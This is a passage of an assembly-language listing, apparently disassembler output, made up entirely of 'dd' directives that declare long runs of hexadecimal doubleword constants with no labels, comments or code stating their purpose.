		dd 22EFA3Eh, 0C793C05Ch, 10406A87h, 0D001870h, 0D7061223h
		dd 0FE5839h, 3F4E38D9h,	0D1CBC2AAh, 833CED60h, 1EC390h
		dd 9E2BC72Ch, 3DA56AA3h, 21FC3305h, 0F60789F7h,	73570B8Ah
		dd 0B09F4390h, 0D01200BAh, 822E98C7h, 840024F8h, 0EFF6E068h
		dd 17526951h, 1AD85FEh,	12C16AF2h, 5CC3D00Eh, 0BEEB2500h
		dd 97893BA3h, 8C4600B7h, 0DCE550C5h, 0EA03CDB3h, 0D6454840h
		dd 0F3F2D856h, 26280097h, 0D0A54F1Eh, 7500B577h, 0DC114A34h
		dd 0EEF3FDh, 0E2372FB0h, 9651AE9Bh, 7A222900h, 0F2B3C6B2h
		dd 0E177AAh, 3973F6C2h,	9D1AAC11h, 3B26477Dh, 8E0697C3h
		dd 6A2927h, 0F93AD61Dh,	3276D8F8h, 6A1CAF00h, 1E0234FDh
		dd 587693h, 45221467h, 559B2ADFh, 0D3829600h, 49EBA061h
		dd 0E96A0039h, 0CEEC1E4Ch, 1700EF10h, 155EDA67h, 87BB79h
		dd 32DF24B8h, 0BC789C4Eh, 0F118BA07h, 39301CAAh, 725F5928h
		dd 0DA7600E8h, 24B0210Ch, 6000D41Ah, 0C4B62B5Ch, 16D131CBh
		dd 133EB3Dh, 664CA815h,	0A1F450D2h, 5F09E740h, 55652E87h
		dd 291B2880h, 0B80F11EFh, 0A03BE156h, 0B487BA0Fh, 3D67E32h
		dd 673D25A0h, 7090BEE8h, 6C00FEF3h, 0B6BB8CBFh,	0F92861h
		dd 2405549Eh, 0F0C74934h, 0D7AF0401h, 0CBFCDFC2h, 0A6D1F8h
		dd 0B5700713h, 41EC5386h, 6BB7991Dh, 9FFC87C0h,	0AB2FCEh
		dd 0EF1E70C7h, 6CC39C2Ch, 50841D07h, 73502E53h,	27EC6D4h
		dd 79FE6BF5h, 0C480A2A6h, 995583FCh, 0C0734A00h, 56D28FA4h
		dd 3A6407FBh, 2927D77Ch, 33369000h, 320054EFh, 449310B0h
		dd 39731EAh, 8FCDC9A1h,	5EC8C762h, 0A014E78h, 0F3B1A365h
		dd 2E60FD06h, 30FC24h, 6D777ABEh, 61B8E249h, 90035E6h
		dd 0AB255DD2h, 3FE0C8h,	8BF5DADDh, 8AD99A71h, 893ECD79h
		dd 2A5A1E76h, 17A09E40h, 38A258C8h, 59003E22h, 0A7D43872h
		dd 7624BBE1h, 17051888h, 9DC056B9h, 2B66D7h, 0A7BA9B9Fh
		dd 2DC154C7h, 0BF67CC00h, 1EAED889h, 0B9B400C8h, 0B00452D7h
		dd 0C613826Dh, 800F5955h, 9A3A235Dh, 6054D232h,	96AA96h
		dd 75DBC8E8h, 0BA78B9BCh, 0DD1A5760h, 3A98C9E9h, 1800F15Ah
		dd 385DC40Ah, 0BB00406Dh, 60B34F70h, 77BF90Eh, 0B5F4FA83h
		dd 0A26A507Ch, 4D00F578h, 0DD1099B8h, 1FE6FF6Eh, 4071DF4Fh
		dd 0CBCA8403h, 500AF1Ah, 9FB2A02Ch, 1EA60155h, 0ACA925h
		dd 885E7D8Dh, 5B002A1Fh, 74157BDBh, 0AA6968h, 10E53839h
		dd 7382D17Fh, 0FB99E000h, 5143322Fh, 1B6100ABh,	0A7FC94C2h
		dd 170F095Bh, 8706D4F8h, 25508863h, 35E0F37h, 3A243CF3h
		dd 79C847A9h, 0FA00F17Dh, 0BE03066Dh, 1E0DB5ACh, 79949C51h
		dd 894DC800h, 0C38D483Fh, 1660E700h, 6B5E7238h,	83E48Eh
		dd 5FCF5913h, 78AF5140h, 0CDBDFC00h, 75A5EC95h,	686B0728h
		dd 90BBF5D0h, 91F1AEACh, 0B9DD8328h, 0B11C4500h, 19CF8D82h
		dd 7A81393Ch, 0F0490070h, 607A3DAh, 0BE01D59Dh,	39B9B5EBh
		dd 0AEC0D8CAh, 980100C0h, 0A37ADD51h, 0A400CF03h, 118A32F7h
		dd 342AB04h, 0D067901Fh, 99D017DDh, 0AA247E6Ch,	0B800D546h
		dd 10C33E4Eh, 0D907077Ah, 0F0B17201h, 9CA5827h,	6F0A6400h
		dd 2283BFAh, 161C3DA6h,	0F02B1B0Eh, 3881BD00h, 0E000AB9h
		dd 7E1AB1A5h, 4104C6h, 5DA858AAh, 215A3DEBh, 0D8106800h
		dd 49A4BD36h, 0E4460080h, 0FC45CAE8h, 0D700F0D4h, 0D3BBF187h
		dd 756D43h, 0ACE8269Ah,	0ED54C42h, 86580303h, 0A75CF796h
		dd 92B51E60h, 0C9320336h, 854CAAFh, 95C672F8h, 50000375h
		dd 8C8680E0h, 1F9B9961h, 0D613199Ch, 0C85C005Dh, 8140D204h
		dd 75CAB900h, 181562ADh, 0C9E3003Dh, 2772BEF1h,	0B500E17Fh
		dd 21CD4B37h, 78BAFAA8h, 16760015h, 6F7787A4h, 7EFC02CBh
		dd 0F189781Dh, 0CE53FA04h, 902D4880h, 8B72005Eh, 6F3D2B41h
		dd 0B7EA5821h, 3548903h, 0C8B1F19Bh, 0E0B6755h,	5E139A72h
		dd 5487B609h, 0EB15EDh,	0D45A7BE4h, 520E59F4h, 763A20Ah
		dd 0E1708BF8h, 0FAB13h,	0D4C69EEAh, 0B4F30CBBh,	0E3AA9500h
		dd 57BE4986h, 0BCF05BA6h, 1E5B000Dh, 1811CA1h, 1FE7B808h
		dd 0FC383555h, 14885001h, 0CC68E32Ch, 0D258444Eh, 979B00C1h
		dd 8452A4E4h, 8DAC0289h, 0E03D0F82h, 0E6BE6040h, 0A7D3A20Fh
		dd 9A7F4027h, 521B7Ah, 4B6F259Fh, 61CD6672h, 0F48D1E00h
		dd 7DD4896h, 0F7B0028h,	0E278F143h, 3103103Ch, 0C5831ED5h
		dd 0BCF6E965h, 1CDA4080h, 444CBB90h, 0EA119A0Eh, 867003FCh
		dd 14D5F0A4h, 211D09E4h
		dd 8880BD48h, 0E5E2F8D2h, 30F53E02h, 0DDF0CD2Ch, 458A47C3h
		dd 0AEE35DC0h, 70EBDF00h, 0A25328B7h, 4E7B39h, 3E4B8F08h
		dd 0F327499Eh, 72929100h, 9774562Bh, 1F292664h,	69E10038h
		dd 0F0469868h, 1A21E007h, 3700ED59h, 1F20DE01h,	43DDFD41h
		dd 4F7C0447h, 0B317609Fh, 97058186h, 0F4BDAE9Eh, 0D9B9C03h
		dd 0D661C02Bh, 1CFA00FCh, 6A50EAD9h, 702C3F0h, 30BCBAD0h
		dd 0F36AE09Bh, 0D9180329h, 9A80ED2h, 36AA8190h,	1603530Fh
		dd 58BFC06Eh, 602977h, 0E91E644Ah, 4C144D0Fh, 0AB441D06h
		dd 797D51h, 43DE8A06h, 771E5EDBh, 0B4E75509h, 855C00B2h
		dd 0F16839Ah, 0E6B9C317h, 3BE5BC00h, 690024CDh,	0A9151F2Ch
		dd 703AE4A5h, 8B9F006Fh, 6EAAC173h, 9C00C931h, 1065646h
		dd 14F367F8h, 9C0E63BEh, 50971680h, 0DC0022A1h,	0E03B07EEh
		dd 0ED0215h, 0A4EB7BD7h, 0AD2ED684h, 6E18D00h, 0F4546C90h
		dd 6CC7CF5h, 5C67026Dh,	1610D005h, 0BB059E79h, 80DC4A55h
		dd 39FBD23Ch, 0DF1B6D00h, 0E04C056Eh, 92140001h, 3EB87C24h
		dd 3A033148h, 0C5497B50h, 2AC80C9Bh, 56861B4Bh,	0FF07F000h
		dd 0B117BF55h, 7DF687h,	8C1AA1B5h, 0F4969CDDh, 239CD60h
		dd 7D5ABA4h, 1DC4E317h,	0F83E0050h, 4348382Bh, 0D4F00058h
		dd 6D169C87h, 0AE3100A1h, 20153C8h, 79005EFAh, 71DBAF26h
		dd 12B738D3h, 33F326Eh,	57F53B0Dh, 0EDE32800h, 9FE87E35h
		dd 3FAB3B63h, 0A0AA3D80h, 2D38C180h, 4D8EBC00h,	6914662Eh
		dd 0FE8D3953h, 52A62C82h, 8A60EFA9h, 4300B53Bh,	4B11E37h
		dd 2B81802h, 1DE5E73h, 3CC1C5D7h, 695D707Bh, 0D81D4D00h
		dd 0A5D0D59Bh, 0F8300060h, 0BDBE83FDh, 75985620h, 911E460h
		dd 4CB9ADh, 0D447CE5Ah,	0D8D34B9Dh, 0F2341800h,	4D0D263h
		dd 22510120h, 0FF21ED29h, 0BB2DE40Ch, 991F6400h, 79AC3907h
		dd 0E12300F3h, 6EA691E3h, 8A00B870h, 5195CA01h,	9635998h
		dd 0A240A7E4h, 0AA7FD100h, 0A6006FDAh, 4D525A88h, 0FC77CEh
		dd 17A8689Fh, 0D5D9BD32h, 352A3D00h, 6984D450h,	0AF20029h
		dd 3904851Bh, 0C5002EC1h, 557236E7h, 78F3B5E5h,	1941716Bh
		dd 20BBD1F2h, 21B9CD43h, 3409871Ch, 38F3E532h, 0A0BAF358h
		dd 3DFA4105h, 0B78C2DD7h, 9B38C33Ch, 0F40579B8h, 86D22F0Ah
		dd 58CC0C00h, 797506h, 0BEED6EFDh, 5E9DFF92h, 0A2D84Ch
		dd 2A93F2ECh, 12C7DEFAh, 0CA0C7Ah, 8F8581DCh, 0B30728A5h
		dd 0AFDCF1Bh, 0DDF66C30h, 0B6100AFh, 529A0FB7h,	0AC00C9CCh
		dd 2877BC93h, 9348Bh, 457F231Dh, 7608B32Eh, 9600BD71h
		dd 0B73FCF38h, 11360BFh, 3B8CE566h, 0F4DC5245h,	0C858CB87h
		dd 90BB8098h, 62AEF8h, 7E02E6F2h, 0F0EF122Dh, 0DA2FEB24h
		dd 0C1C1A30h, 97FA0F66h, 1E23D2E7h, 0DBB8B0C2h,	0BB007A4Dh
		dd 2D95E2B5h, 73D11B2h,	0F770AFFFh, 0A727000Ah,	883FFBFAh
		dd 0E2F08010h, 16581349h, 52A800FDh, 3F5BD038h,	9EF6240Ch
		dd 3700757Bh, 0F43DB45Ah, 189E561h, 7304FFCCh, 0D8D9798Dh
		dd 57906FDDh, 20A05107h, 0CDB01BEFh, 0F21EEh, 963D235h
		dd 44C65DCh, 4015E12Dh,	9A9B30h, 4BA13343h, 669E30BBh
		dd 557DDE07h, 96A3A3B0h, 0F813A374h, 4D0E88D7h,	200040C2h
		dd 75269F98h, 9CA4C71Bh, 390068E6h, 0B2C6A0D3h,	1CF17C66h
		dd 800DF735h, 0DCDAF8D4h, 6900616Fh, 0FE1C38FBh, 4747DACh
		dd 123B9D96h, 4E24C095h, 9100E77Bh, 5121D4E5h, 718DB7h
		dd 0A12F9E2Ch, 3C481350h, 70F62317h, 1C954409h,	0D7BF5810h
		dd 515CF800h, 6C137193h, 0DCFA1000h, 0D3839C8Ah, 6FE62E14h
		dd 0F13D0008h, 547005D6h, 9F3A10C0h, 40EFD3F9h,	0CA002E57h
		dd 749A778h, 0FD158DDh,	83E0933Bh, 0ED0DC01Eh, 754D3F56h
		dd 0F61990C1h, 64FC95E9h, 445C5C9Fh, 2007971Dh,	0A0676E00h
		dd 26CE497Eh, 35CD01F7h, 7FBC6B2Fh, 9D047076h, 30802530h
		dd 2CA5A188h, 0E78E8h, 67F311F2h, 0B01CF72h, 0C2574F46h
		dd 36FC2E9Bh, 83EE3EB1h, 3BD05D00h, 25264731h, 54E2800h
		dd 526987CEh, 0EA12009Eh, 4791170Eh, 55003CC8h,	253F7CC9h
		dd 1F4A57CCh, 782BC7h, 0CA6E8BDEh, 0BA727D1Dh, 6A629F05h
		dd 3FC00BC4h, 582E6FCFh, 93412E3Dh, 0C08AAD42h,	47D8A7h
		dd 1277D14Bh, 0D9078CC6h, 209E4100h, 0F5EC2D1Dh, 64B0F0h
		dd 4317289Ah, 11147EC6h, 90AA991Fh, 81C38DC7h, 84B6A290h
		dd 8CE015h, 0B25F8B10h,	2B6FA5F4h, 0AB992400h, 80A2F09Eh
		dd 0A73201D4h, 79CA264Bh, 3A9F7097h, 0EE882700h, 0B4AD718Eh
		dd 517677h, 0A4D7821Bh,	4B277549h, 80241300h, 2D23541Ch
		dd 5EAB00B9h, 7230D0E2h, 0FE00F9E9h, 61D29CB1h,	77F4E3CBh
		dd 27F891h, 5C4E9F7Bh, 0CDF68A60h, 382A873Dh, 3007781h
		dd 7A278457h, 7CBA02ADh, 0CC65001Bh, 424F6634h,	3C988CA4h
		dd 0DB773010h, 5DC66400h, 0F9744A7Ah, 0D9C97D24h, 0DD18F400h
		dd 0B880E2E4h, 0EC200F7Ch, 0E08F053Bh, 50453FE0h, 2F00BEFBh
		dd 76E5256Dh, 9210DFh, 62ABB053h, 6CF1F506h, 3303C1B0h
		dd 0AC0F390Ch, 1FF9D0DDh, 7EE53F63h, 0B62BCA80h, 57781962h
		dd 59D26526h, 2DB24700h, 7DA5F9h, 698D511Eh, 6D384A75h
		dd 0DDF2E41Bh, 6005DAB8h, 1E5F9E24h, 408C538Fh,	2130669Dh
		dd 33075ADDh, 470A9A7Dh, 0E5AA1DC0h, 98E70E53h,	95C009F4h
		dd 0E21FB08Eh, 0E084850Eh, 0C72A0052h, 0C8D013h, 0FE48D9FFh
		dd 0F2B1F6E1h, 0F36F6D07h, 0CC03EAFh, 0E4805FA1h, 0B68B0092h
		dd 0BF78667Ch, 0FE096ED1h, 75BC252Ah, 65EC3280h, 0B707B434h
		dd 0D2080393h, 35909910h, 8A870006h, 97223F8Bh,	4A1D2DF0h
		dd 93405E2Fh, 0C25F7E72h, 32C0007Fh, 0B7A54F60h, 0A3002241h
		dd 0BAE31C6Bh, 4CE0BE43h, 4F1253E9h, 82A9007Ch,	1ABCCFF4h
		dd 36A0B801h, 0C541964h, 14A7BF4h, 0B78F3798h, 0FC6F56DFh
		dd 570072B2h, 958C8B52h, 0ECCF21h, 0EF8D17F7h, 0FBA936B1h
		dd 0C8E50E00h, 0AE95EE79h, 62507B6h, 9F207E57h,	431EE240h
		dd 6C00D1A8h, 0A6039216h, 77D44Dh, 0B1E4C6E8h, 157273EAh
		dd 0DE027503h, 0E858DAEBh, 0EF9D37h, 51713F20h,	25865452h
		dd 6E474A00h, 0AD53AF3Ch, 886D0070h, 350AFAA0h,	0B000C197h
		dd 21D8662Ch, 77DD6062h, 4C09C0C3h, 4639914Eh, 17267400h
		dd 13B18F5Eh, 97FE3EDBh, 0B03E1802h, 0FF40D95Fh, 0FD01D49Fh
		dd 0A4EA522Eh, 72D0F1E4h, 657F0E51h, 0D6A2D00Ah, 55633AE6h
		dd 80F24A89h, 0FC3DE121h, 1DC861D5h, 3F5516E6h,	0E7308381h
		dd 0F0653272h, 0D2794080h, 421F94FAh, 0BA0044BEh, 4954066Bh
		dd 319E01A0h, 20E2E95Ah, 7759801Fh, 5F18EE62h, 0F490FEh
		dd 440DEC2Ah, 8AB7695Dh, 84285060h, 0E5D6FCh, 0C9E82CE4h
		dd 7073157Dh, 279F600h,	22DAACAEh, 8A5700C2h, 0E62FE513h
		dd 500081ABh, 0D76D991h, 3AB9DBB4h, 2B80DF19h, 0A36079CDh
		dd 0E9005058h, 5D9AF153h, 92D509h, 0C43BE2D4h, 0EF54D8FCh
		dd 9E01E1F8h, 726FE840h, 0CFC8BDFEh, 0A04500B7h, 0F83105FCh
		dd 0D8382234h, 943F0344h, 0F8E3AC68h, 7EE8CB85h, 0BED008Fh
		dd 0F2E502F0h, 0F5007FAFh, 121E332Fh, 0E06B9Fh,	2AE2BB43h
		dd 968173Dh, 26899626h,	7E1D0E03h, 0C0A7FB16h, 0A075F4CCh
		dd 0A5FF088h, 52269D8Ch, 0F804A3A4h, 3C982211h,	42004AF8h
		dd 0BB9D1B92h, 0E42A2E21h, 6F7C001Ah, 4A1144D2h, 0ED0C72E5h
		dd 284DDC49h, 19DA0050h
		dd 47CFC583h, 0F900451Ch, 2591D723h, 0F440A2DFh, 50F60829h
		dd 6284138Eh, 2B0439ACh, 31D84497h, 29EF1956h, 98C87141h
		dd 1751BF28h, 0BD760Dh,	0FF42C528h, 1C8AE1F1h, 52584300h
		dd 0DCF538DEh, 0EE4D0021h, 13CAA1CFh, 0A2007875h, 5BAD02CBh
		dd 2D227Ah, 34814D06h, 0F06A3A70h, 61D71F00h, 2F5A05A5h
		dd 539E1E64h, 14F80366h, 0F0988AB1h, 0B005E63h,	0A962F74Fh
		dd 177E324h, 0B1124AD0h, 0C0F4C7C2h, 0CC0585DDh, 0C4C9197Eh
		dd 60E49882h, 0CAD3CEAh, 0DA2E623Fh, 2658DF10h,	0E81E00DAh
		dd 0D5646F99h, 0CBD80006h, 0F43259B6h, 60062BA9h, 63E4FD84h
		dd 0B8F27770h, 0BC151C3Ah, 54808CF1h, 8C000770h, 0E0E35FE5h
		dd 7C08F286h, 2E777Eh, 47D327CEh, 3684F890h, 0AA2B5017h
		dd 0C778D300h, 3DD4EBh,	59CE9469h, 0B15A1D67h, 0FC9C7F00h
		dd 30BFE61Fh, 3C530071h, 3145618Dh, 0BA00CBDEh,	0BD560399h
		dd 6346D8Eh, 4C93B909h,	4E00AC0Dh, 8DF14FBFh, 1D95A164h
		dd 8024DDBEh, 0ECE9A7E1h, 3273817Fh, 0CFCF700h,	49C7567h
		dd 9E00BD50h, 97BE9A95h, 35271600h, 12B5E419h, 6F940002h
		dd 0A13BE3B8h, 0DD032896h, 6C83241Dh, 0FBD293B4h, 0EFFB988Eh
		dd 0F81007Ch, 7C39F38h,	5801D3D6h, 476B373Ch, 86C1CB5Fh
		dd 0E0EBCAE8h, 540D0E4Bh, 0CFE0A77Eh, 840807CDh, 802C703Ch
		dd 0F512B33h, 0F48D5ABEh, 0F2069037h, 389E7589h, 9C80170Bh
		dd 3BFC53CBh, 58000DB9h, 0CC835B68h, 1F5F10C3h,	71099Fh
		dd 0AB239A0h, 30FFCD9h,	0BC0CD7C2h, 5F2C0B00h, 3EE7DEh
		dd 70BAB44Bh, 5834CE42h, 0B0F24E00h, 3D4DAD1Ah,	0CBE4059Dh
		dd 13ADAD5h, 0B8BB6380h, 59F2D058h, 0FCD7DB00h,	59C651Eh
		dd 4EFF4CE5h, 0C3A41F00h, 14358C90h, 5228E0A0h,	0ED840h
		dd 431665EEh, 5130F571h, 3F93D3Bh, 0CAAB8CB1h, 848CBCE6h
		dd 8EDC00C5h, 29CC7372h, 0DB582D03h, 0A2CD000Fh, 5D7DF5F4h
		dd 34DE00CBh, 2AA3996Dh, 0E5015224h, 8F71A24Eh,	6BFDEACCh
		dd 3BCD20h, 9995FB51h, 0B9DA3FB0h, 64657D02h, 0E0501C82h
		dd 776224Fh, 4B56BD14h,	0B42DD098h, 150E995Eh, 20AB6A70h
		dd 9CDAA024h, 499000E1h, 537B85B8h, 0E0008892h,	370B0E20h
		dd 0E0C37223h, 42C107FFh, 606545E5h, 0B8259403h, 0BA84E40Ch
		dd 2CE0C921h, 0F4A460h,	0C9DA4130h, 2C0044D7h, 0C4276496h
		dd 0FE2A9B99h, 0D8E2005Eh, 0D1FD75FCh, 62008DE8h, 83B48239h
		dd 1F30049Dh, 79221EB7h, 320D7A8Eh, 873DABC0h, 25008F99h
		dd 6D1D2A7Fh, 1C46880Eh, 0DD45CD03h, 477C0170h,	0DCA4B768h
		dd 0E875E0C5h, 0BA545B07h, 53019ABh, 0F7D0BB4h,	787A93EDh
		dd 0A76D2980h, 39008B43h, 0F3C0CBD0h, 2C4A1957h, 72E269h
		dd 14C62A81h, 0EA00BE35h, 529573C4h, 1629E0Ah, 0DC8DA397h
		dd 0C4A8207Bh, 91005E2Dh, 4FFE7674h, 6C8496h, 0A050DCFh
		dd 456AFAEFh, 0DEF70E18h, 741E960h, 0E44CB61Ah,	0ED53603Fh
		dd 5700549Bh, 4AAE7AB1h, 861830h, 6BBB0736h, 430A5105h
		dd 0BC1DD203h, 0C050385Fh, 0E64DE20h, 0D76CF6F2h, 4016FAC3h
		dd 9CC0FCB3h, 9B0036F0h, 0E9341E7Ah, 0E80C10h, 4BADC32Fh
		dd 0EEF2168Ah, 75A7A800h, 0C4FAC7EBh, 6039750Dh, 49D418F5h
		dd 0C87071DDh, 5E07E374h, 8099ECFAh, 731892E0h,	964E0CB2h
		dd 0E6E908C0h, 0B3AD4900h, 14ABEC4Bh, 0DDB10087h, 1D6C1F47h
		dd 0D97840BFh, 9C57A201h, 9FD73CFh, 0D71BD8h, 5550C5A9h
		dd 0A35C6C67h, 3FD6CE00h, 711AF2E6h, 0B543E65h,	5F2C62BDh
		dd 2AF80011h, 1F9B73DAh, 0AD9D372Eh, 18C14E03h,	0EE74F07Ch
		dd 7AB60082h, 52DA04A8h, 2CB81392h, 0EB2D7200h,	0DE99A074h
		dd 0B9BE1C1Bh, 0E6680Ah, 0C03D9C63h, 7DDB8ADFh,	0E42C3C28h
		dd 2EEBE200h, 533133C5h, 0A4104C65h, 0B5CC1E00h, 0FF01520Eh
		dd 6BF3991Ch, 21A5803Fh, 0CAD5CEEh, 0F2C50106h,	7528E07Ah
		dd 49FDD837h, 5B69CB00h, 10C85E9Dh, 0DE5A07D3h,	900251CAh
		dd 2C844758h, 0EE93600h, 0E490A11Ah, 0BFC60013h, 0AEA8A6FAh
		dd 0DA0378B6h, 0B916E96Eh, 6B0CE067h, 0AB3C0E11h, 4A4005AAh
		dd 3D6D916Ah, 94328F00h, 0B15BF31Eh, 0E80E3C85h, 0F181FE80h
		dd 2EBB860Bh, 3722EC03h, 0E0492ACDh, 3FDB1Ch, 0A091FA21h
		dd 0AA2990BDh, 170A8400h, 0C4C36924h, 67070063h, 8C38F6F4h
		dd 509FAE31h, 0CC1A00E4h, 68BC57E7h, 0BB07CD5Eh, 43D20D74h
		dd 9A299D00h, 64210097h, 7953A2FBh, 18C007B5h, 61C8D373h
		dd 0A5572411h, 0FCBB3DB4h, 36F87CB0h, 3C002EE3h, 168EBA79h
		dd 806867h, 4DE7FE87h, 0B7521FB2h, 0DABFA00h, 84D3044Ch
		dd 0DAAC50F6h, 85EF006Eh, 0E8B60BF4h, 3F00FFC8h, 2401CC4h
		dd 0E257517Ch, 937F0010h, 0FCF4342h, 633F46FFh,	16E3819Fh
		dd 0AFA86CB7h, 0EC63BE0h, 0E932383h, 38A065CEh,	70C0D699h
		dd 9C006C90h, 25D50B2h,	661385h, 0C1CB3BB5h, 0DB478F86h
		dd 0E394FB01h, 89AE5C39h, 2BA8EE4h, 0FAA11E20h,	24413605h
		dd 0D828CC2Fh, 7D78900h, 0E1F8330h, 7220C04Bh, 9B18E33h
		dd 80737C39h, 0AA97A8B7h, 2A617F1h, 14E46EDBh, 0B9403F8Ch
		dd 8100BA28h, 0E62C2A37h, 91E1C4h, 4C13895Ch, 0CDBD3FF4h
		dd 1A069C00h, 9ECC2818h, 1D0300BAh, 0C789142Dh,	461F3F5Eh
		dd 0AE404B20h, 404F62A9h, 283B0016h, 103D98C1h,	92F0E99Fh
		dd 0A45F9301h, 350A30A9h, 97BDC0h, 82F5F822h, 33F7FCD0h
		dd 1D4AC203h, 0AB46DB75h, 0C543989Eh, 0A27F9Fh,	9A5BEBF5h
		dd 0E45CE9B9h, 3CCBB748h, 85470390h, 0B9F3A58Ch, 3FC0D7D8h
		dd 1B410F5Ah, 77A961AAh, 8B794680h, 0E4009F7Eh,	2F967B07h
		dd 9BC8FAh, 0F63BD6DBh,	0E26EC3B8h, 0A01CA76h, 85C606E5h
		dd 0E7DF4019h, 0E8EC76D0h, 4C9200CFh, 0A7ADEB86h, 451FEFA1h
		dd 5247D973h, 8BD7BDEAh, 0A02FC0E1h, 26D642D0h,	3CA35077h
		dd 2E287C37h, 0B02C6AE0h, 0CC0047DBh, 93148DF3h, 46BD23h
		dd 0F297D36Bh, 0C20C2571h, 0EDF5601h, 1EEF8035h, 9551F8h
		dd 6A615246h, 1090135Fh, 0CAEC3209h, 681B00D8h,	906CD6DCh
		dd 0BF0B122Dh, 0E1E90020h, 0AA78BE97h, 0B7485E98h, 4C2500F0h
		dd 0F9A51F28h, 47373E6Ah, 91C48000h, 425BAE20h,	9E262400h
		dd 351B158Dh, 0AA3B00EEh, 0B8032D5Ah, 8F707B13h, 49EF111Ch
		dd 7C0B155Dh, 0A5CF00AAh, 713BBAh, 86768495h, 473D926Ah
		dd 58F05750h, 55F1A200h, 0DB18F7D2h, 6758C0D1h,	0B6EA9233h
		dd 1B93D41Eh, 0B240BADDh, 9154796Dh, 4D713Fh, 18A76503h
		dd 82B41A2Dh, 8061253Ah, 29C1CF4Ch, 14B9034Fh, 82AA7A78h
		dd 0BFB0077Ch, 65BAA038h, 0E8AE074Ah, 3B349093h, 90C0D12Eh
		dd 66F17141h, 6B7AD8h, 0C1435CE8h, 4204DD19h, 3BED740Eh
		dd 0D5F340A0h, 63516F4h, 1FC57C5Eh, 2800F024h, 0E06259B4h
		dd 0C027E4h, 4AF9A05Fh,	21CAD331h, 365D8A00h, 0B9569B30h
		dd 0F36F0EADh, 0D500F92Fh, 0A98560A5h, 199C3301h, 23945B58h
		dd 2B668C0h, 0A7FC11F0h, 77609F44h, 0F601D6B3h,	5F0E51A6h
		dd 60FAF33Eh, 4151956h,	8689EA8Ch, 0F040876Fh, 0D99520EEh
		dd 27F3C100h, 0FAE22DFDh, 0FEAA2E22h, 0E2E418D5h, 4171093Bh
		dd 6007D7Eh, 0A46638C8h, 8EA1A8h, 722234C1h, 9DFFB689h
		dd 25F2EA0Bh, 4EA40019h, 0D573DDh, 0EF0B0590h, 20A3CD55h
		dd 45AAC701h, 648C019h,	488D14D8h, 0F679F417h, 0FF090F90h
		dd 0E0D89B6Eh, 6900F050h
		dd 0CFA67E84h, 1020556h, 0C7DB3419h, 0D811F72Bh, 12049FF6h
		dd 0B7CCDC84h, 97336080h, 742F0F5Ah, 21E053B1h,	0F33C1FBFh
		dd 580250Fh, 0A0B5CEBEh, 36D1EB1Ah, 0DD8A3092h,	11EE1798h
		dd 1B786800h, 0A579743Ch, 24DF009Bh, 5C887EABh,	0AF03977Dh
		dd 90C1CCA1h, 1BED049h,	807500A5h, 11693DD1h, 0BA002EF5h
		dd 0FA5CB4BFh, 0B8E3CAh, 0F4288423h, 808B9C46h,	0EF1BE804h
		dd 30802AA2h, 773ADB5h,	0B2F9035h, 0F35EF016h, 0E700EC51h
		dd 2115B89h, 1EADDA13h,	3BF6C372h, 68C93800h, 0A2B83E22h
		dd 0F9586B02h, 0E0F37AC2h, 0C7A87D7Eh, 0D4BC61A9h, 703887EAh
		dd 31C4539Dh, 0F7B88E60h, 0CD6EA8h, 0AE98CFC6h,	0A9AB16A0h
		dd 774B3802h, 6046D908h, 0E2A47448h, 1DCA430h, 17A10CDEh
		dd 0DC02DBC3h, 0AE196AC5h, 0B5D05049h, 21083D8h, 1E7A4FA1h
		dd 0E040DFEDh, 0EFE00A35h, 0D6B9AD0Fh, 30B080DDh, 97A44Fh
		dd 2FA526B3h, 0D33293DFh, 461E9000h, 80062C81h,	0A87200D2h
		dd 0A1ED51A2h, 0B50063E2h, 0BF165D77h, 1D999D34h, 0C91CD09Bh
		dd 0D0007343h, 5D1E5A7Dh, 0D8EE0500h, 5649E4A8h, 7C9F668h
		dd 5EA46245h, 1D5DB20Eh, 0FC4DAC61h, 73057076h,	5418B7A1h
		dd 0BC95D280h, 0BA80C04Fh, 5F9D0FE3h, 59E20E00h, 0F336B235h
		dd 725A01EDh, 5DD97D6Ah, 0CE3FD4C9h, 2382B800h,	0ECEBDE53h
		dd 0F2ED002Bh, 0D17B65DCh, 1D00346Ah, 0BFEF184Bh, 3A9CCF3h
		dd 9F2F4470h, 74C08D1Eh, 590040ADh, 0F15D0724h,	65F9882h
		dd 73465283h, 0ED18360Ah, 5579D0A2h, 21AF00EFh,	2FA0947h
		dd 0FE006234h, 2E594270h, 1E8F95Eh, 24CBC133h, 71D56ED7h
		dd 0AE0840AFh, 0A00BAE3h, 0D29FA0D3h, 7DC36Bh, 0E95DD676h
		dd 9D69635Fh, 379F33Dh,	0B335647Ch, 610A0FCh, 57900EFBh
		dd 0A3800E4Ch, 0C47437F5h, 482D2A03h, 0E8AF4B08h, 9039ACDEh
		dd 20F76074h, 3C12B1E6h, 1A4CF200h, 2665F907h, 2350001h
		dd 59DCD8E4h, 0D8C0885Ah, 0CC689922h, 0F82004Eh, 79B98754h
		dd 2A005AD6h, 0FEDE529Dh, 0B1CCF7h, 0C4926208h,	8D18D9CAh
		dd 1D58643Fh, 0F496BFB4h, 4FCB2C03h, 17D9E1B1h,	3A902FE8h
		dd 0F500C1BCh, 562688E2h, 0DB175FA9h, 2C07F1E1h, 2B00BCE6h
		dd 0A495829Dh, 0C1E7008Ch, 63914481h, 8800A7C4h, 12A8E152h
		dd 0E086AEh, 0BA17A61Dh, 65D742D2h, 0FF582B01h,	5B8BD550h
		dd 7CAA64ECh, 10EB1DB6h, 89F98079h, 34FB74A2h, 0A9CDD100h
		dd 0C16B8654h, 78E8A4D2h, 1FC6145Eh, 1A24D8D0h,	0A998006Ah
		dd 0FB306CA3h, 0E0E38600h, 0B3B8D6B4h, 7EBC015Ah, 0BE8573BBh
		dd 2C6020CCh, 5260302h,	80E7DA15h, 0A9C43890h, 0C0CB3DFCh
		dd 72243848h, 6109007Fh, 0DC196B71h, 0CCEF873Dh, 0A4BD0065h
		dd 78F26D5Dh, 1389069h,	14C3C44Eh, 0C465CE06h, 0F50658B4h
		dd 916B79F4h, 0E1813B50h, 8B66EF80h, 0FD4661C2h, 95FBAF00h
		dd 0A676125Fh, 83F50E1Eh, 9CCCEDF6h, 64915159h,	0EDFBE2E0h
		dd 67420F2Dh, 0B9607144h, 24C832E6h, 0FD2CB400h, 141A65E1h
		dd 0FF9D136Ch, 7C30000Eh, 0BAC31E7Fh, 0EF1F881Fh, 5B800D00h
		dd 49274BFh, 45030FEEh,	90C080D2h, 0A21F9F39h, 3C8013BBh
		dd 76D99628h, 77481CC5h, 0BF79839Dh, 0C9D85F7Ch, 0D71C1684h
